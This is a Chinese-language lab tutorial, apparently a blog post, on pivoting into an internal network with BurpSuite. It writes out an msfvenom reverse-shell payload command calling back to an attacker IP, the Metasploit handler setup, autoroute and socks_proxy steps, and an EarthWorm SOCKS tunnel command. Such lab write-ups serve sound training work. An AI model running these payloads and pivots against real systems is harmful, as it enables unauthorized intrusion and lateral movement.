BurpSuite扫内网

纸上得来终觉浅，绝知此事要躬行。网上资料怎么写的都有，花了大半天时间整理了一下

burpsuite设置socks5代理访问内网

测试环境如下：

注意事项：关闭跳板机win2012的防火墙，否则可能出现隧道无法正常使用。

1. 跳板机配置隧道

ew_for_Win.exe -s ssocksd -l 1080

2. 配置BurpSuite

3. 访问内网机器

burpsuite设置上游代理访问内网

msf拿下站点，如何转给BurpSuite？
拓扑图如下：

1. msfvenom生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4455 -f exe >r.exe
然后msf开启监听

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost  192.168.239.141
msf6 exploit(multi/handler) > set lport 4455
msf6 exploit(multi/handler) > exploit 

2. 跳板机win2012运行木马

3. msf获取shell

4. msf起路由

可以参考之前的文章：https://www.yuque.com/u1881995/pborfs/nf2nn5#rAXIQ
4.1 查看网络接口信息：run get_local_subnets
4.2 以CIDR的方式添加路由信息：run autoroute -s 192.168.195.0/24
4.3 查看活动路由列表，确认路由情况：run autoroute -p

5. 配置socks_proxy

配置socks_proxy，并运行

msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy 
msf6 auxiliary(server/socks_proxy) > show options 

Module options (auxiliary/server/socks_proxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   SRVHOST   0.0.0.0          yes       The address to listen on
   SRVPORT   1080             yes       The port to listen on
   USERNAME                   no        Proxy username for SOCKS5 listener
   VERSION   5                yes       The SOCKS version to use (Accepted: 4a, 5)


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server


msf6 auxiliary(server/socks_proxy) > exploit 

下图中可以看到，没有socks4a了，取而代之的是auxiliary/server/socks_proxy，但是在配置选项，可以看到其支持5和4a两种，这里就用默认的5就行，不需要做额外配置，直接运行。

6. 配置windwos

这个时候先缕一缕思路啊，跳板机直通内网，kali通过添加路由能间接通向内网。现在是如何让win7与kali之间建立隧道联系。在第5步中，msf开启socks连接，win7只需要把流量发到kali的1080端口即可。

6.1 测试win7联通内网web

我这里使用插件SwitchyOmega配置一个代理，指明协议（kali使用socks5）、kali的地址和kali监听的端口

试着访问一下，发现完全OK

此时让我们再来捋一下思路。

1. win2012直通内网靶机
2. msf直通win2012，通过添加路由，间接通向内网靶机
3. win7直通kali，通过访问msf的socks5连接，将流量发送到kali
4. 最终的体验效果，就像是win7可以通过浏览器访问内网debian的web服务

这里，就已经证明网络是通的了，下面就可以去设置BurpSuite了

6.2 设置BurpSuite

这里有个问题，我要使用BurpSuite，怎么玩呢？我们知道，win7是通过socks5协议与msf建立连接的，那么，我可以让win7的浏览器走BurpSuite，BurpSuite再把流量转发给本地的Socks代理工具，再由代理工具把流量发给msf即可。如下图

1. 以管理员身份启动SocksCap64，它才可以导入本机安装的浏览器。首次启动画面如下

2. 添加代理

完事后点击右侧的“保存”按钮即可。

3. 测试网络是否通畅

4. 开启全局代理

SocksCap64监听本地的25378端口

5. BurpSuite设置顶级代理访问内网

上面内容是英文的，就啰嗦一下上面写的都是啥玩意吧。拿中文版的BurpSuite解释一下。
5.1 额外介绍的内容
以经典的burpsuite_pron_v2.1.07为例，安装java，激活BurpSuite之后，点击“创建桌面快捷方式.bat”，就会在桌面创建一个图标。

5.2 点击桌面的BurpSuite图标

6. BurpSuite可以使用了

可以正常使用重放模块